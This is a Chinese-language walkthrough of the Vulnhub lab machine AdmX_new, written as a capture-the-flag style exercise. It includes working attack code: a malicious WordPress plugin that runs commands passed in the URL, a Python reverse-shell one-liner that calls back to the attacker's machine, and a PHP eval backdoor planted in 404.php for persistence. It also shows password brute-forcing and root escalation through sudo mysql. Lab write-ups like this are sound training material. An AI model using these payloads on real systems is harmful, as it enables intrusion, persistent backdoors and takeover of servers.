Vulnhub打靶记录:admx_new
相关信息
kali:10.0.0.3/24
靶机:10.0.0.4/24
靶机下载:https://download.vulnhub.com/admx/AdmX_new.7z
目标:获取两个 flag + root权限
难度:中
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路:
- 主机发现 端口扫描
- web路径爬取:一个新工具
feroxbuster burpsuite自动替换:burpsuite新功能的学习- 密码爆破 MSF漏洞模块利用
- wordpress漏洞利用:这个很有必要了解,给
web开发框架较为流行。同时后台的漏洞利用方式较为固定 - nc反弹shell升级:shell的升级,重中之重。很有操作的哇
- 蚁剑上线
- 利用
mysql提权:这个靶机的mysql提权原理很是简单
下意识的操作
- 当网页访问时间过长或者其他异常特征,就需要对其源码和相关数据包进行分析
- 执行python脚本,python命令,定位python程序的时候,如果不成功最好将
python,python2,python3都尝试一遍。 - 终端文本显示不正确或者严重错位可以尝试缩小终端字体
- 记得蚁剑的持久化操作
主要的知识点
- 进入网页后台后一般就是不断地寻找各种文件上传的漏洞,以下为一般的寻找点:wordpress为例
-
Appearence-Theme-Editor:修改网页的主题代码(不是全部后台都能修改网页的功能),可以添加修改一句话木马等。对于
wordpress就是指404错误页面返回的修改,在其中添加一句话。 -
Media上传文件
-
Plugins:上传具有恶意代码的插件。
-
- mysql的提权方式,还没学过。
具体流程
信息搜集
-
主机发现,版本扫描,进行基本的信息搜集。
-
靶机只开放了
80端口,这几乎决定了我们只有通过web来进行渗透测试了。访问该靶机发布的网页为apache的默认页面(即使查看源码)也是一无所获。所以我们使用一个新工具feroxbuster来进行目录爬取。发现了两个重要的目录/wordpress,/wordpress/wp-adminferoxbuster相关介绍feroxbuster --url http://1.0.0.4 -w /usr/share/dirb/wordlists/common.txt
-
我们访问
wordpress目录的网页时虽然能正常的访问,但页面的加载时间很长(直接提醒我们得去查看网页源码或者 / burpsuite抓包分析)。同时我们浏览网页的基本内容,明显可以看出这只是个测试网站,一般而言测试网站的漏洞存在可能性比较大,他的各种访问权限设置的是比较松散的。
-
通过
burpsuite抓包我们可以发现当访问/wordpress的时候该网页会自动的向192.168.159.145请求三个js文件,通过burpsuite的回包分析,我们有是可以很明显的这个ip是直接写入到响应代码中的。
-
我们可以猜测这个
ip是靶机设计的时候的原本ip。我们通过burpsuite的Match and replace rules功能自动的帮我们更改respnse包中的ip内容为当前靶机的ip:1.0.0.4,可以发现网页成功的渲染。但是当我们点击网页的每个连接发现都是没有任何反应的,而且再去复看网页源码也是一无所获。
后台密码爆破
关于密码爆破在各类的渗透和比赛中的出现率高达百分之八十,可见密码爆破,社工字典的重要性。但是在打靶学习,看wp的过程中是无法避免的弱化我们对这个方面的认识的,所以特此强调!!!
-
再次回到目录爬取获得的后台路径
/wordpress/wp-admin发现为一个登陆界面,我们可以通过大致的账户测试发现存在一个admin的用户(可以通过它的报错提示来判断我们猜的用户是否存在)。然后就是通过burpsuite来进行密码的爆破了,使用的是:GitHub - Pagli0cci/FuzzDict: 自己整理和收集的字典 该github库中的MidPwds.txt。通过返回数据包的大小异常我们可以得出密码为adam14。
wordpress后台漏洞
这部分 利用python反弹利用漏洞和shell的升级是必须要做的。我们后续的打靶过程统一使用 利用python反弹利用漏洞获得的 shell,因为我们通过 msf获得 shell功能是不全的。
利用python反弹利用漏洞
-
这里我们使用第三个方法
plugins漏洞,第一个方法更改404我们没有权限无法修改第二个方法Media也无法成功。
-
我们上传一个自己编写的具有恶意代码的
plugin代码,其实该插件的编写非常非常的简单,就是php简单的恶意代码,只需要注意一下两点:- 需要在代码的头部加上
wordpress固定的插件注释格式,插件才能被正确的识别。 - 以
zip格式上传插件。
这里我们的插件名就叫
payload。<?php /* Plugin Name: payload Plugin URI: https://developer.wordpress.org/plugins/the-basics/ Description: Basic WordPress Plugin Header Comment Version: 20160911 Author: WordPress.org Author URI: https://developer.wordpress.org/ License: GPL2 License URI: https://www.gnu.org/licenses/gpl-2.0.html Text Domain: wporg Domain Path: /languages */ if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
- 需要在代码的头部加上
-
在后台的管理界面激活 上传的恶意插件,直接访问首页面就会触发插件。通过上载
payload:which python3,我也是可以发现页面也是返回了我们想要的结果。(注意:记得开启burpsuite来替换ip,不然页面加载时间太长)
-
我们自接上载
payload如下可以发现成功的利用python3反弹shell突破边界。python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.0.0.3",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
利用msf利用漏洞
-
在
kali终端输入msfdb run启动msf漏洞工具,然后输入search admin wordpress来检索相关的攻击模块,这里我们选择符合我们的场景的模块2。
-
对各个参数进行相关的设置,然后
run再使用shell来进行交互我们可以发现输入pwd,ls等命令是无法成功的交互的。这种漏洞模块获取的shell功能是不完善的。,pass掉。
蚁剑持久化
这一步在打靶的过程中其实是非必要的,但在各类比赛中却尤为关键。蚁剑能够帮助我们在上传后门代码后,对靶机进持久化,快速化的控制。建议在比赛中无论是获得了一个什么权限的 shell最好都进行蚁剑的持久化操作。
该蚁剑的持久化的恶意代码在该网页wordpress的 twentytwentyone主题下面的 404.php代码中加入一句话代码来实现的(网页的后台界面有说明该 web是什么主题,一句话木马:eval($_POST['cchl']))。
但是当我们对文件进行修改的时候我们发现 python反弹的shell功能还是不全的,是无法使用全部功能的如:自动补全,光标的上下移动等等,让我们无法对 404文件进行修改。所以我们需要对当前的 shell进行升级。
shell升级的条件
-
对方的靶机必须为
bash -
自己的靶机也必须为
bash。但是由于现在的高版本的kali的shell为zsh。我们需要按下面的图片操作然后重启kali使修改生效
-
拿到
shell必须经过python3 -c 'import pty;pty.spawn("/bin/bash")'的初步升级。(当然有的python反弹shell的payload已经将该代码的功能包含进去了,只是我上文提供的payload没有包含 )
升级的具体操作
-
重启后再次利用
python的payload建立连接。然后利用python3 -c 'import pty;pty.spawn("/bin/bash")'来初步简单的升级shell,不过功能依然不完善。然后依次进行一些操作:-
ctrl + z:将该nc连接放入到后台 -
stty raw -echo:stty: 控制终端行为的命令。raw: 指示将终端设置为原始模式。在原始模式下,终端不会对输入进行处理,字符将直接传递给应用程序。-echo: 指示禁用回显功能。通过禁用回显,输入的字符将不会在屏幕上显示出来。- 补充:
stty -raw echo用来使终端恢复回显和显示输入字符的功能。
-
fg:将刚刚放入后台的nc程序调到前台来运行,同时由于禁用了回显,你在图片中看不出fg的输入。 -
ls:来判断是否成功将程序提到前台中 -
export SHELL=/bin/bash:设置shell的换进变量为bash -
export TERM=screen:命令定义终端终端的类型,将屏幕为终端的类型。 -
stty rows 38 columns 116:这个命令设置终端的行数和列数 -
reset:就会成为一个完整的shell,什么命令补齐,交互的命令操作都是可以的使用的。
-
-
下面是升级完
shell对404.php修改的操作。至于蚁剑的靶机添加就不演示了,比较简单。
信息收集
-
我们浏览我们拿到的
shell的相关信息,首先就是html/wordpress目录下的wp-config.php了。里面包含了mysql的登陆账户和密码。像这种密码信息的收集是非常重要的,以为在实际生活中密码是存在大量的复用现象,后面的渗透测试就是非常好的例子。
-
当我们回到
home目录下发现了另一个用户wpadmin。在其目录下有个非常明显的flag:local.txt,但是他的权限是wpadmin只读。
mysql提权漏洞
-
当我们用
mysql数据库的密码尝试 切换为wpadmin不正确,但是当我们使用登陆网页后台的adamin14的时候发现竟然成功的登陆为wpadmin用户,那么flag也就自然而然的读取成功。(内核漏洞也是需要尝试的,只是这个msyql的提权太过于明显)
-
当我们进行收集的时候我们发现是可以利用
sudo来启动mysql,我们有搜集到了mysql的登陆用户和密码,所以自然而然的可成功的进入到数据库中。我们同时利用mysql的system命令来帮助我们直接以root身份执行系统命令(\ !是mysql命令中system的简写)。然后我们直接利用\!来使用/bin/bash命令以root的身份来使用shell。那么接下来还是自然而然的拿下flag
相关工具/命令
命令
reset
用于重置对当前 shell的配置。
zip
-
what?
一个压缩命令
-
具体实例
- zip a.zip file:将file压缩为a.zip
fg
-
what?
fg命令只能用于恢复在当前终端会话中挂起的作业。如果你关闭了终端或开启了新的终端会话,之前的挂起作业将不再存在。 -
具体实例
- fg [作业号]:如果不指定会默然的恢复第一个挂起的。
工具
feroxbuster
-
what? 返回
feroxbuster 是一个功能强大且灵活的目录发现工具,可以帮助用户在渗透测试、安全评估或红队操作中有效地扫描和探测目标网站的目录结构。
-
具体实例
- feroxbuster --url http://1.0.0.4 -w /usr/share/dirb/wordlists/common.txt:
- --url:指定爬取目标
- -w:指定字典,默认的字典是
seclists,该字典是需要安装的,所以直接使用可能会报错。
- feroxbuster --url http://1.0.0.4 -w /usr/share/dirb/wordlists/common.txt:
字典
common.txt
- /usr/share/dirb/wordlists/common.txt是dirb这个目录发现工具下的一个字典。
MidPwds.txt
-
为一个
github上的字典分享库中的一个字典。里面包含了大量的社工字典。 返回
复盘/相关知识
重要
sudo的进一步理解
sudo的本质是让命令以root的身份运行。所以普通用户如果需要定制化的修改自己用户的配置加上 sudo可能是不成功的,会变成更改 root用户的配置了。
了解
wordpress
WordPress 是一个流行的开源内容管理系统(CMS),广泛用于搭建和管理网站。虽然 WordPress 被广泛应用于博客网站,但它也可用于构建各种类型的网站,包括商业网站、社区论坛、电子商务平台等。

浙公网安备 33010602011771号